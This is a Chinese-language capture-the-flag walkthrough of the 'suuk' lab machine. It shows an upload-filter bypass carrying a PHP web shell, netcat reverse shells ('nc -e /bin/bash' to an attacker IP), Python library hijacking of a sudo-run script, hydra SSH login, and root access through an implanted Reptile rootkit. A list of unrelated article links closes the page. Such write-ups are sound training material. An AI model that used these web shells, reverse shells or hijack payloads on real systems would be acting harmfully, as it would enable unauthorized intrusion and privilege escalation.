当前位置: 首页 > news >正文

suuk-s.php.jpg-python 库劫持

做virtualBox的端口映射吧

suukmedim文件白名单绕过、反弹shell、$paht环境变量更改、python 库劫持提权、Reptile提权、sandfly-processdecloak使用

服务扫描

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -A -T 4 -p 22,80 192.168.18.238

GetSHell

访问80http://192.168.18.238/
文件上传,白名单限制,只允许图片格式,使用1.php.jpg的方式绕过文件上传,原因可能是因为后端只取点后的第一个后缀进行解析。

POST /upload.php HTTP/1.1Host: 192.168.18.238User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=---------------------------58834982911681499741555270890Content-Length: 365Origin: http://192.168.18.238Connection: closeReferer: http://192.168.18.238/Upgrade-Insecure-Requests: 1-----------------------------58834982911681499741555270890Content-Disposition: form-data; name="photo"; filename="1.php.jpg"Content-Type: image/png<?php system($_GET['cmd']);?>-----------------------------58834982911681499741555270890Content-Disposition: form-data; name="submit"Upload-----------------------------58834982911681499741555270890--

访问http://192.168.18.238/upload/1.php.jpg?cmd=id

反弹shell

http://192.168.18.238/upload/1.php.jpg?cmd=nc%20-e%20/bin/bash%20192.168.44.128%209001┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [192.168.44.128] from (UNKNOWN) [192.168.44.10] 4854
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
script /dev/null -c bash
Script started, file is /dev/null
www-data@kuus:/var/www/html/upload$ 

提权

tignasse 账号下有个.pass.txt 文件,但是经过测试并没有用
尝试常规的sudo\suid\内核\任务计划\进程分析手段、爆破了一段时间之后,也没结果。实在不想浪费时间了,看了别人的writeup,才知道。这里密码另有隐情!

www-data@kuus:/home$ ls
ls
mister_b  tignassewww-data@kuus:/home/tignasse$ more .pass.txt
more .pass.txt
716n4553
www-data@kuus:/home/tignasse$ cat .pass.txt
cat .pass.txt
Try harder !

hydra

hydra -l tignasse -p 716n4553 ssh://192.168.18.238[22][ssh] host: 192.168.18.238   login: tignasse   password: 716n4553

ssh

┌──(kali㉿kali)-[~]
└─$ sudo ssh tignasse@192.168.18.238tignasse@kuus:~$ sudo -l(mister_b) NOPASSWD: /usr/bin/python /opt/games/game.py

tignasse 用户下,可以看到mister_b 用户有个特权脚本
game.py文件由用户mister_b所有,它导入3 个库。可以看到导入的库使用了可能被滥用的相对路径。
1、我们在/opt/games内创建一个名为random.py的文件,其中包含以下内容:

import os 
os.system("nc -e /bin/bash 192.168.44.128 9000")

2.、将/opt/games添加到PATH:
通过 python 库劫持进行的权限升级,因为 python 会搜索它导入的库,这些库通常是 PATH 中第一个的库,这就是我们在PATH之前添加/opt/games的原因。
3、最后我们使用nc 监听 2334端口,然后使用sudo 执行该脚本后,成功获取mister_b权限

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [192.168.44.128] from (UNKNOWN) [192.168.44.10] 4315
id
uid=1001(mister_b) gid=1001(mister_b) groups=1001(mister_b)
script /dev/null -c bash
Script started, file is /dev/nullmister_b@kuus:~$ cat user.txt
cat user.txt
Ciphura

历史记录发现执行了一个二进制文件

mister_b@kuus:~$ cat .bash_history
cat .bash_history
ps -aux |grep root
ss -altp
sudo -l
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
./sandfly-processdecloak
exit

sandfly-processdecloak是一个实用程序,用于快速扫描被常见和不常见的可加载内核模块隐形 Rootkit 隐藏的 Linux 进程 ID (PID),并将其隐藏起来,使它们可见。比如:Diamorphine, Reptile and variants

编译了一个上传上去执行并没有看到隐藏进程,后面找了一下reptile项目,发现reptile 文件夹也是隐藏的。

https://github.com/f0rb1dd3n/Reptile/wiki/Local-Usage

在www-data 的 bash 历史记录中,有一个名为reptile的隐藏目录

www-data@kuus:/var/www$ cd ~
www-data@kuus:/var/www$ cat .bash_history

尝试执行如下命令,发现直接提取到root,www-data 权限也是可以直接提取到root

/reptile/reptile_cmd root
root@kuus:/home/mister_b# cat user.txt
cat user.txt
Ciphura
root@kuus:/home/mister_b# cat /root/root.txt
cat /root/root.txt
Warulli

相关文章:

  • 北京宠物美容护理app,化身奇迹“萌”宠
  • 【Java】Java基础语法
  • 使用Python进行自然语言处理:从基础到实战
  • Python开发日记--手撸加解密小工具(2)
  • 数组元素去重
  • WHAT - NextJS 系列之 Rendering - Server Rendering Strategies
  • @PostConstruct 注解的方法用于资源的初始化
  • HTML(12)——背景属性
  • 图解注意力
  • kafka的单机、集群部署安装
  • 如何看待鸿蒙HarmonyOS?
  • React.FC`<ChildComponentProps>`解释
  • 大型企业网络DHCP服务器配置安装实践@FreeBSD
  • 强化学习算法复现记录
  • 【大数据 复习】第3章 分布式文件系统HDFS(重中之重)
  • .pyc 想到的一些问题
  • 【许晓笛】 EOS 智能合约案例解析(3)
  • ComponentOne 2017 V2版本正式发布
  • EOS是什么
  • hadoop入门学习教程--DKHadoop完整安装步骤
  • laravel5.5 视图共享数据
  • PHP的类修饰符与访问修饰符
  • React 快速上手 - 07 前端路由 react-router
  • sublime配置文件
  • 飞驰在Mesos的涡轮引擎上
  • 分布式事物理论与实践
  • 每个JavaScript开发人员应阅读的书【1】 - JavaScript: The Good Parts
  • 我的面试准备过程--容器(更新中)
  • 一些css基础学习笔记
  • 移动端 h5开发相关内容总结(三)
  • 智能合约开发环境搭建及Hello World合约
  • ​七周四次课(5月9日)iptables filter表案例、iptables nat表应用
  • # MySQL server 层和存储引擎层是怎么交互数据的?
  • $con= MySQL有关填空题_2015年计算机二级考试《MySQL》提高练习题(10)
  • (11)MATLAB PCA+SVM 人脸识别
  • (52)只出现一次的数字III
  • (done) 两个矩阵 “相似” 是什么意思?
  • (PyTorch)TCN和RNN/LSTM/GRU结合实现时间序列预测
  • (附源码)ssm高校实验室 毕业设计 800008
  • (删)Java线程同步实现一:synchronzied和wait()/notify()
  • (五)大数据实战——使用模板虚拟机实现hadoop集群虚拟机克隆及网络相关配置
  • (一)硬件制作--从零开始自制linux掌上电脑(F1C200S) <嵌入式项目>
  • (转)fock函数详解
  • (转)Sublime Text3配置Lua运行环境
  • .bat批处理(六):替换字符串中匹配的子串
  • .gitignore文件---让git自动忽略指定文件
  • .net core 6 集成和使用 mongodb
  • .NET Framework与.NET Framework SDK有什么不同?
  • .net 前台table如何加一列下拉框_如何用Word编辑参考文献
  • .Net程序帮助文档制作
  • .NET高级面试指南专题十一【 设计模式介绍,为什么要用设计模式】
  • .secret勒索病毒数据恢复|金蝶、用友、管家婆、OA、速达、ERP等软件数据库恢复
  • [04]Web前端进阶—JS伪数组
  • [20170705]diff比较执行结果的内容.txt
  • [8] CUDA之向量点乘和矩阵乘法